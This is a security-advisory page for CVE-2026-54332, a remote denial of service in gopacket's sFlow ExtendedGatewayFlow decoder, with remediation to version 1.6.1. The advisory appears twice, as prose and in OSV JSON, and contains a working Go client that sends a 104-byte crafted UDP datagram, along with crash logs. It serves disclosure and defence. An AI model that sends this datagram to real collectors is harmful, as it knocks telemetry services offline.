CVE-2026-54332: Github.com/gopacket/gopacket Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-g6v3-7xmc-w563
CWE-770
Published
Advisory Summary

CVE-2026-54332 is a MODERATE denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Github.com/gopacket/gopacket libraries in the Go ecosystem. The issue involves unbounded attacker-controlled allocation (104-byte udp datagram -> up to 16 gib make) -> unauthenticated remote dos. Remediation is available by upgrading affected packages to version 1.6.1.

CVE-2026-54332 at a Glance

CVE Identifier CVE-2026-54332
GHSA Identifier GHSA-g6v3-7xmc-w563
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Github.com/gopacket/gopacket
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-54332

To remediate this vulnerability, upgrade all affected Github.com/gopacket/gopacket dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/gopacket/gopacket fixed: 1.6.1
Upgrade github.com/gopacket/gopacket to 1.6.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/gopacket/gopacket

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-54332, inspect your project dependencies for Github.com/gopacket/gopacket:

inspect dependencies for github.com/gopacket/gopacket

Analyze the terminal output to locate any version of Github.com/gopacket/gopacket in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Github.com/gopacket/gopacket, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The sFlow `ExtendedGatewayFlow` record decoder in `github.com/gopacket/gopacket` allocates a slice with `make([]uint32, n)` where `n` is an attacker-controlled 32-bit wire field that has no upper bound. Because the allocation happens *before* the read loop that would consume the corresponding bytes, a single small UDP datagram can force a multi-gigabyte allocation. A 104-byte sFlow datagram can request up to 16 GiB and OOM-kill any service that parses sFlow with gopacket. This is an unauthenticated remote denial of service (CWE-770). ## Root cause (file:line @ v1.6.0) Two sinks in `layers/sflow.go`, both in the `ExtendedGatewayFlow` (record type 1003) decode path: 1. `layers/sflow.go:1306` in `decodeExtendedGatewayFlowRecord`: ```go *data, communitiesLength = (*data)[4:], binary.BigEndian.Uint32((*data)[:4]) eg.Communities = make([]uint32, communitiesLength) // communitiesLength is a raw wire uint32, no bound for j := uint32(0); j < communitiesLength; j++ { ... } ``` 2. `layers/sflow.go:1276` in `decodePath` (a helper called from the same record decoder): ```go *data, ad.Count = (*data)[4:], binary.BigEndian.Uint32((*data)[:4]) ad.Members = make([]uint32, ad.Count) // ad.Count is a raw wire uint32, no bound for i := uint32(0); i < ad.Count; i++ { ... } ``` In both cases the `make` is executed before the loop that reads the element bytes, so the allocation size is fully determined by the attacker-supplied count field and is never checked against the number of bytes actually remaining in the packet. `communitiesLength = 0xFFFFFFFF` requests `make([]uint32, 4294967295)` = 16,384 MB (16 GiB). ## Reachability (remote attacker -> sink) The registered `LayerTypeSFlow` decoder parses sFlow datagrams from the wire: `SFlowDatagram.DecodeFromBytes` (sflow.go:302) -> `SampleCount` loop -> `decodeFlowSample(expanded=false)` (sflow.go:458) -> `RecordCount` loop -> record format 1003 `SFlowTypeExtendedGatewayFlow` (sflow.go:573) -> `decodeExtendedGatewayFlowRecord` (sflow.go:1284) -> sink at line 1306 (and line 1276 via the `ASPath` -> `decodePath` branch). sFlow is a UDP-based network-telemetry protocol; collectors built on gopacket process datagrams sent (or forwarded by switches/routers) from the network. No authentication is involved, so any host that can deliver a UDP packet to such a collector can trigger the sink. The same record reached via `gopacket.NewPacket(data, LayerTypeSFlow, gopacket.Default)` is equally affected. ## Impact Unauthenticated remote denial of service via memory exhaustion. A single 104-byte datagram drives an allocation of up to 16 GiB, OOM-killing the parsing process. There is no memory corruption and no code execution — the impact is process termination / resource exhaustion. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation). ## Proof of Concept This PoC is an end-to-end test against a real deployed sFlow collector. A minimal but realistic UDP collector (built on the public gopacket API, exactly as a real network-telemetry collector would be) runs inside a hard-capped 256 MB container; an independent client process sends a real malicious sFlow datagram over a real UDP socket; the collector process is then observed to die. A benign datagram is used as a negative control. The harness pins `github.com/gopacket/gopacket@v1.6.0` (the sink is confirmed at the v1.6.0 tag, `layers/sflow.go:1306`). ### Collector (real UDP sFlow collector) ```go // collector.go — binds a UDP socket and, for every datagram, builds a // gopacket.Packet rooted at LayerTypeSFlow and accesses the layer, which drives // the registered sFlow decoder over the attacker-controlled bytes. package main import ( "fmt" "net" "os" "github.com/gopacket/gopacket" "github.com/gopacket/gopacket/layers" ) func main() { udpAddr, _ := net.ResolveUDPAddr("udp4", "0.0.0.0:6343") conn, err := net.ListenUDP("udp4", udpAddr) if err != nil { fmt.Fprintf(os.Stderr, "listen error: %v\n", err) os.Exit(1) } defer conn.Close() fmt.Printf("[collector] sFlow collector listening on udp %s\n", conn.LocalAddr()) buf := make([]byte, 65535) for { n, src, err := conn.ReadFromUDP(buf) if err != nil { continue } datagram := make([]byte, n) copy(datagram, buf[:n]) fmt.Printf("[collector] received %d-byte datagram from %s\n", n, src) pkt := gopacket.NewPacket(datagram, layers.LayerTypeSFlow, gopacket.Default) if dg, ok := pkt.Layer(layers.LayerTypeSFlow).(*layers.SFlowDatagram); ok { fmt.Printf("[collector] decoded sFlow datagram: version=%d samples=%d flowSamples=%d\n", dg.DatagramVersion, dg.SampleCount, len(dg.FlowSamples)) } else { fmt.Printf("[collector] no sFlow layer decoded\n") } } } ``` ### Client (independent process, real UDP socket, no gopacket dependency) The client crafts a well-formed sFlow v5 datagram with one FlowSample carrying one ExtendedGatewayFlow (record type 1003) record and sets only its `communitiesLength` field. For the benign case it appends real community words plus the trailing LocalPref word so the record decodes cleanly. ```go // client.go — usage: client <addr> <communitiesLength> [--benign] package main import ( "encoding/binary" "fmt" "net" "os" "strconv" ) func u32(b *[]byte, v uint32) { t := make([]byte, 4) binary.BigEndian.PutUint32(t, v) *b = append(*b, t...) } func buildDatagram(commLen uint32, benign bool) []byte { var d []byte u32(&d, 5); u32(&d, 1); u32(&d, 0x7f000001); u32(&d, 0); u32(&d, 0); u32(&d, 0) u32(&d, 1) // SampleCount = 1 u32(&d, 1) // sample format -> FlowSample u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0) u32(&d, 1) // RecordCount = 1 u32(&d, 1003) // record format -> ExtendedGatewayFlow u32(&d, 0) // FlowDataLength u32(&d, 1) // gateway address type = IPv4 u32(&d, 0x08080808) // NextHop u32(&d, 0); u32(&d, 0); u32(&d, 0) u32(&d, 0) // ASPathCount = 0 u32(&d, commLen) // communitiesLength -> make([]uint32, commLen) sink if benign { for i := uint32(0); i < commLen; i++ { u32(&d, 0xABCD0000+i) } u32(&d, 100) // trailing LocalPref word } return d } func main() { addr := os.Args[1] commLen, _ := strconv.ParseUint(os.Args[2], 10, 32) benign := len(os.Args) > 3 && os.Args[3] == "--benign" data := buildDatagram(uint32(commLen), benign) raddr, _ := net.ResolveUDPAddr("udp", addr) conn, _ := net.DialUDP("udp", nil, raddr) defer conn.Close() conn.Write(data) fmt.Printf("[client] sent %d-byte sFlow datagram (communitiesLength=%d, benign=%v)\n", len(data), commLen, benign) } ``` ### Run and observed result The collector runs under a hard 256 MB cgroup cap with swap disabled (`--memory=256m --memory-swap=256m`) so the OOM is contained to the cgroup and the host is unaffected. Negative control (benign datagram, `communitiesLength=4`): ``` $ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4 --benign [client] sent 124-byte sFlow datagram (communitiesLength=4, benign=true) # collector log: [collector] received 124-byte datagram from 172.18.0.3:56438 [collector] decoded sFlow datagram: version=5 samples=1 flowSamples=1 # collector status: Up (ALIVE); RSS flat at 1.5 MiB ``` Attack (single malicious datagram, `communitiesLength=0xFFFFFFFF`): ``` $ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4294967295 [client] this datagram instructs the decoder to make([]uint32, 4294967295) = 16384 MB [client] datagram sent over real UDP socket # collector log (verbatim): [collector] received 104-byte datagram from 172.18.0.3:42284 fatal error: runtime: out of memory runtime stack: runtime.throw(...) runtime.sysMapOS(0x61585e800000, 0x400000000, ...) // 0x400000000 = 16 GiB requested runtime.makeslice(...) /usr/local/go/src/runtime/slice.go:117 github.com/gopacket/gopacket/layers.decodeExtendedGatewayFlowRecord(...) /go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:1306 github.com/gopacket/gopacket/layers.decodeFlowSample(...) /go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:574 github.com/gopacket/gopacket/layers.(*SFlowDatagram).DecodeFromBytes(...) /go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:321 github.com/gopacket/gopacket.NewPacket(...) /go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/packet.go:767 main.main() /src/collector.go:54 # container final state: Status=exited OOMKilled=false ExitCode=2 ``` A single 104-byte UDP datagram, delivered over a real socket to a real gopacket-based collector, terminates the collector process. The Go runtime tries to `sysMapOS` 0x400000000 (16 GiB) into the 256 MB cgroup, the mapping is denied, and the runtime aborts with `fatal error: runtime: out of memory` (exit 2). The full attacker -> sink call stack is captured: `collector.go:54` (`gopacket.NewPacket`) -> `SFlowDatagram.DecodeFromBytes` -> `decodeFlowSample` (sflow.go:574) -> `decodeExtendedGatewayFlowRecord` (sflow.go:1306) -> `makeslice` -> fatal OOM. The benign control on the same collector decodes cleanly and the process stays alive with flat RSS, confirming the attacker-controlled `communitiesLength` field is what drives the allocation. The host is unaffected throughout: the allocation is contained by the 256 MB cgroup cap (no swap), and host swap stayed above 900 MB free across the run. ## Affected versions `github.com/gopacket/gopacket` <= v1.6.0 (v1.6.0 is the latest release; HEAD == tag). Earlier versions carrying the same `layers/sflow.go` decode code are affected as well. ## Suggested fix Before each `make([]uint32, n)`, validate `n` against the number of bytes actually remaining in the datagram. Each element consumes 4 bytes on the wire, so a correct upper bound is `remaining_bytes / 4`; any count larger than that cannot be backed by real packet data and should be rejected with a decode error (matching the existing `errors.New` / `fmt.Errorf` error style in this file), rather than pre-allocating. This caps the allocation at roughly the datagram size and eliminates the amplification: - `decodeExtendedGatewayFlowRecord`: reject when `communitiesLength > uint32(len(*data)/4)` before `make([]uint32, communitiesLength)`. - `decodePath`: reject when `ad.Count > uint32(len(*data)/4)` before `make([]uint32, ad.Count)`, and propagate the error to the caller. I will follow up with a fix PR via the advisory's private fork. ## References - sFlow Version 5 specification (https://sflow.org/sflow_version_5.txt), section on the extended_gateway flow_data record (communities / dst_as_path lists). - CWE-770: Allocation of Resources Without Limits or Throttling.

CVE-2026-54332 Affected Github.com/gopacket/gopacket Versions

1 component(s)
Fixed Versions:
1.6.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/gopacket/gopacket
Go
< 1.6.1
1.6.1

References

Frequently Asked Questions

What is CVE-2026-54332?
CVE-2026-54332 is a security vulnerability in Github.com/gopacket/gopacket involving unbounded attacker-controlled allocation (104-byte UDP datagram -> up to 16 GiB make) -> unauthenticated remote DoS under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Github.com/gopacket/gopacket versions are affected?
Affected versions include releases prior to 1.6.1 across affected packages: github.com/gopacket/gopacket.
What version fixes CVE-2026-54332?
Upgrading to 1.6.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/gopacket/gopacket affected?
Yes, github.com/gopacket/gopacket is affected in releases prior to 1.6.1. Upgrade your dependency to 1.6.1 or later.
What CWE is associated with CVE-2026-54332?
CVE-2026-54332 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Go dependencies for CVE-2026-54332?
Run the dependency tree command: 'inspect dependencies for github.com/gopacket/gopacket'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g6v3-7xmc-w563",
  "modified" : "2026-07-28T16:17:26Z",
  "published" : "2026-07-28T16:17:26Z",
  "aliases" : [ "CVE-2026-54332" ],
  "summary" : "GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -> up to 16 GiB make) -> unauthenticated remote DoS",
  "details" : "## Summary\n\nThe sFlow `ExtendedGatewayFlow` record decoder in `github.com/gopacket/gopacket` allocates a slice with `make([]uint32, n)` where `n` is an attacker-controlled 32-bit wire field that has no upper bound. Because the allocation happens *before* the read loop that would consume the corresponding bytes, a single small UDP datagram can force a multi-gigabyte allocation. A 104-byte sFlow datagram can request up to 16 GiB and OOM-kill any service that parses sFlow with gopacket. This is an unauthenticated remote denial of service (CWE-770).\n\n## Root cause (file:line @ v1.6.0)\n\nTwo sinks in `layers/sflow.go`, both in the `ExtendedGatewayFlow` (record type 1003) decode path:\n\n1. `layers/sflow.go:1306` in `decodeExtendedGatewayFlowRecord`:\n```go\n*data, communitiesLength = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])\neg.Communities = make([]uint32, communitiesLength)   // communitiesLength is a raw wire uint32, no bound\nfor j := uint32(0); j < communitiesLength; j++ { ... }\n```\n\n2. `layers/sflow.go:1276` in `decodePath` (a helper called from the same record decoder):\n```go\n*data, ad.Count = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])\nad.Members = make([]uint32, ad.Count)                // ad.Count is a raw wire uint32, no bound\nfor i := uint32(0); i < ad.Count; i++ { ... }\n```\n\nIn both cases the `make` is executed before the loop that reads the element bytes, so the allocation size is fully determined by the attacker-supplied count field and is never checked against the number of bytes actually remaining in the packet. `communitiesLength = 0xFFFFFFFF` requests `make([]uint32, 4294967295)` = 16,384 MB (16 GiB).\n\n## Reachability (remote attacker -> sink)\n\nThe registered `LayerTypeSFlow` decoder parses sFlow datagrams from the wire:\n\n`SFlowDatagram.DecodeFromBytes` (sflow.go:302) -> `SampleCount` loop -> `decodeFlowSample(expanded=false)` (sflow.go:458) -> `RecordCount` loop -> record format 1003 `SFlowTypeExtendedGatewayFlow` (sflow.go:573) -> `decodeExtendedGatewayFlowRecord` (sflow.go:1284) -> sink at line 1306 (and line 1276 via the `ASPath` -> `decodePath` branch).\n\nsFlow is a UDP-based network-telemetry protocol; collectors built on gopacket process datagrams sent (or forwarded by switches/routers) from the network. No authentication is involved, so any host that can deliver a UDP packet to such a collector can trigger the sink. The same record reached via `gopacket.NewPacket(data, LayerTypeSFlow, gopacket.Default)` is equally affected.\n\n## Impact\n\nUnauthenticated remote denial of service via memory exhaustion. A single 104-byte datagram drives an allocation of up to 16 GiB, OOM-killing the parsing process. There is no memory corruption and no code execution — the impact is process termination / resource exhaustion. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).\n\n## Proof of Concept\n\nThis PoC is an end-to-end test against a real deployed sFlow collector. A minimal\nbut realistic UDP collector (built on the public gopacket API, exactly as a real\nnetwork-telemetry collector would be) runs inside a hard-capped 256 MB container;\nan independent client process sends a real malicious sFlow datagram over a real\nUDP socket; the collector process is then observed to die. A benign datagram is\nused as a negative control.\n\nThe harness pins `github.com/gopacket/gopacket@v1.6.0` (the sink is confirmed at\nthe v1.6.0 tag, `layers/sflow.go:1306`).\n\n### Collector (real UDP sFlow collector)\n\n```go\n// collector.go — binds a UDP socket and, for every datagram, builds a\n// gopacket.Packet rooted at LayerTypeSFlow and accesses the layer, which drives\n// the registered sFlow decoder over the attacker-controlled bytes.\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\n\t\"github.com/gopacket/gopacket\"\n\t\"github.com/gopacket/gopacket/layers\"\n)\n\nfunc main() {\n\tudpAddr, _ := net.ResolveUDPAddr(\"udp4\", \"0.0.0.0:6343\")\n\tconn, err := net.ListenUDP(\"udp4\", udpAddr)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"listen error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer conn.Close()\n\tfmt.Printf(\"[collector] sFlow collector listening on udp %s\\n\", conn.LocalAddr())\n\n\tbuf := make([]byte, 65535)\n\tfor {\n\t\tn, src, err := conn.ReadFromUDP(buf)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tdatagram := make([]byte, n)\n\t\tcopy(datagram, buf[:n])\n\t\tfmt.Printf(\"[collector] received %d-byte datagram from %s\\n\", n, src)\n\t\tpkt := gopacket.NewPacket(datagram, layers.LayerTypeSFlow, gopacket.Default)\n\t\tif dg, ok := pkt.Layer(layers.LayerTypeSFlow).(*layers.SFlowDatagram); ok {\n\t\t\tfmt.Printf(\"[collector] decoded sFlow datagram: version=%d samples=%d flowSamples=%d\\n\",\n\t\t\t\tdg.DatagramVersion, dg.SampleCount, len(dg.FlowSamples))\n\t\t} else {\n\t\t\tfmt.Printf(\"[collector] no sFlow layer decoded\\n\")\n\t\t}\n\t}\n}\n```\n\n### Client (independent process, real UDP socket, no gopacket dependency)\n\nThe client crafts a well-formed sFlow v5 datagram with one FlowSample carrying\none ExtendedGatewayFlow (record type 1003) record and sets only its\n`communitiesLength` field. For the benign case it appends real community words\nplus the trailing LocalPref word so the record decodes cleanly.\n\n```go\n// client.go — usage: client <addr> <communitiesLength> [--benign]\npackage main\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n)\n\nfunc u32(b *[]byte, v uint32) {\n\tt := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(t, v)\n\t*b = append(*b, t...)\n}\n\nfunc buildDatagram(commLen uint32, benign bool) []byte {\n\tvar d []byte\n\tu32(&d, 5); u32(&d, 1); u32(&d, 0x7f000001); u32(&d, 0); u32(&d, 0); u32(&d, 0)\n\tu32(&d, 1)           // SampleCount = 1\n\tu32(&d, 1)           // sample format -> FlowSample\n\tu32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0)\n\tu32(&d, 1)           // RecordCount = 1\n\tu32(&d, 1003)        // record format -> ExtendedGatewayFlow\n\tu32(&d, 0)           // FlowDataLength\n\tu32(&d, 1)           // gateway address type = IPv4\n\tu32(&d, 0x08080808)  // NextHop\n\tu32(&d, 0); u32(&d, 0); u32(&d, 0)\n\tu32(&d, 0)           // ASPathCount = 0\n\tu32(&d, commLen)     // communitiesLength -> make([]uint32, commLen) sink\n\tif benign {\n\t\tfor i := uint32(0); i < commLen; i++ {\n\t\t\tu32(&d, 0xABCD0000+i)\n\t\t}\n\t\tu32(&d, 100) // trailing LocalPref word\n\t}\n\treturn d\n}\n\nfunc main() {\n\taddr := os.Args[1]\n\tcommLen, _ := strconv.ParseUint(os.Args[2], 10, 32)\n\tbenign := len(os.Args) > 3 && os.Args[3] == \"--benign\"\n\tdata := buildDatagram(uint32(commLen), benign)\n\traddr, _ := net.ResolveUDPAddr(\"udp\", addr)\n\tconn, _ := net.DialUDP(\"udp\", nil, raddr)\n\tdefer conn.Close()\n\tconn.Write(data)\n\tfmt.Printf(\"[client] sent %d-byte sFlow datagram (communitiesLength=%d, benign=%v)\\n\",\n\t\tlen(data), commLen, benign)\n}\n```\n\n### Run and observed result\n\nThe collector runs under a hard 256 MB cgroup cap with swap disabled\n(`--memory=256m --memory-swap=256m`) so the OOM is contained to the cgroup and\nthe host is unaffected.\n\nNegative control (benign datagram, `communitiesLength=4`):\n\n```\n$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4 --benign\n[client] sent 124-byte sFlow datagram (communitiesLength=4, benign=true)\n\n# collector log:\n[collector] received 124-byte datagram from 172.18.0.3:56438\n[collector] decoded sFlow datagram: version=5 samples=1 flowSamples=1\n# collector status: Up (ALIVE); RSS flat at 1.5 MiB\n```\n\nAttack (single malicious datagram, `communitiesLength=0xFFFFFFFF`):\n\n```\n$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4294967295\n[client] this datagram instructs the decoder to make([]uint32, 4294967295) = 16384 MB\n[client] datagram sent over real UDP socket\n\n# collector log (verbatim):\n[collector] received 104-byte datagram from 172.18.0.3:42284\nfatal error: runtime: out of memory\n\nruntime stack:\nruntime.throw(...)\nruntime.sysMapOS(0x61585e800000, 0x400000000, ...)   // 0x400000000 = 16 GiB requested\nruntime.makeslice(...)\n\t/usr/local/go/src/runtime/slice.go:117\ngithub.com/gopacket/gopacket/layers.decodeExtendedGatewayFlowRecord(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:1306\ngithub.com/gopacket/gopacket/layers.decodeFlowSample(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:574\ngithub.com/gopacket/gopacket/layers.(*SFlowDatagram).DecodeFromBytes(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:321\ngithub.com/gopacket/gopacket.NewPacket(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/packet.go:767\nmain.main()\n\t/src/collector.go:54\n\n# container final state:\nStatus=exited OOMKilled=false ExitCode=2\n```\n\nA single 104-byte UDP datagram, delivered over a real socket to a real\ngopacket-based collector, terminates the collector process. The Go runtime tries\nto `sysMapOS` 0x400000000 (16 GiB) into the 256 MB cgroup, the mapping is denied,\nand the runtime aborts with `fatal error: runtime: out of memory` (exit 2). The\nfull attacker -> sink call stack is captured: `collector.go:54`\n(`gopacket.NewPacket`) -> `SFlowDatagram.DecodeFromBytes` -> `decodeFlowSample`\n(sflow.go:574) -> `decodeExtendedGatewayFlowRecord` (sflow.go:1306) ->\n`makeslice` -> fatal OOM. The benign control on the same collector decodes\ncleanly and the process stays alive with flat RSS, confirming the\nattacker-controlled `communitiesLength` field is what drives the allocation.\n\nThe host is unaffected throughout: the allocation is contained by the 256 MB\ncgroup cap (no swap), and host swap stayed above 900 MB free across the run.\n\n## Affected versions\n\n`github.com/gopacket/gopacket` <= v1.6.0 (v1.6.0 is the latest release; HEAD == tag). Earlier versions carrying the same `layers/sflow.go` decode code are affected as well.\n\n## Suggested fix\n\nBefore each `make([]uint32, n)`, validate `n` against the number of bytes actually remaining in the datagram. Each element consumes 4 bytes on the wire, so a correct upper bound is `remaining_bytes / 4`; any count larger than that cannot be backed by real packet data and should be rejected with a decode error (matching the existing `errors.New` / `fmt.Errorf` error style in this file), rather than pre-allocating. This caps the allocation at roughly the datagram size and eliminates the amplification:\n\n- `decodeExtendedGatewayFlowRecord`: reject when `communitiesLength > uint32(len(*data)/4)` before `make([]uint32, communitiesLength)`.\n- `decodePath`: reject when `ad.Count > uint32(len(*data)/4)` before `make([]uint32, ad.Count)`, and propagate the error to the caller.\n\nI will follow up with a fix PR via the advisory's private fork.\n\n## References\n\n- sFlow Version 5 specification (https://sflow.org/sflow_version_5.txt), section on the extended_gateway flow_data record (communities / dst_as_path lists).\n- CWE-770: Allocation of Resources Without Limits or Throttling.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gopacket/gopacket"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.6.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gopacket/gopacket/security/advisories/GHSA-g6v3-7xmc-w563"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gopacket/gopacket/commit/76119086f5936aacd7088bdf97d565501bb6c4cc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gopacket/gopacket"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gopacket/gopacket/releases/tag/v1.6.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-28T16:17:26Z",
    "nvd_published_at" : null
  }
}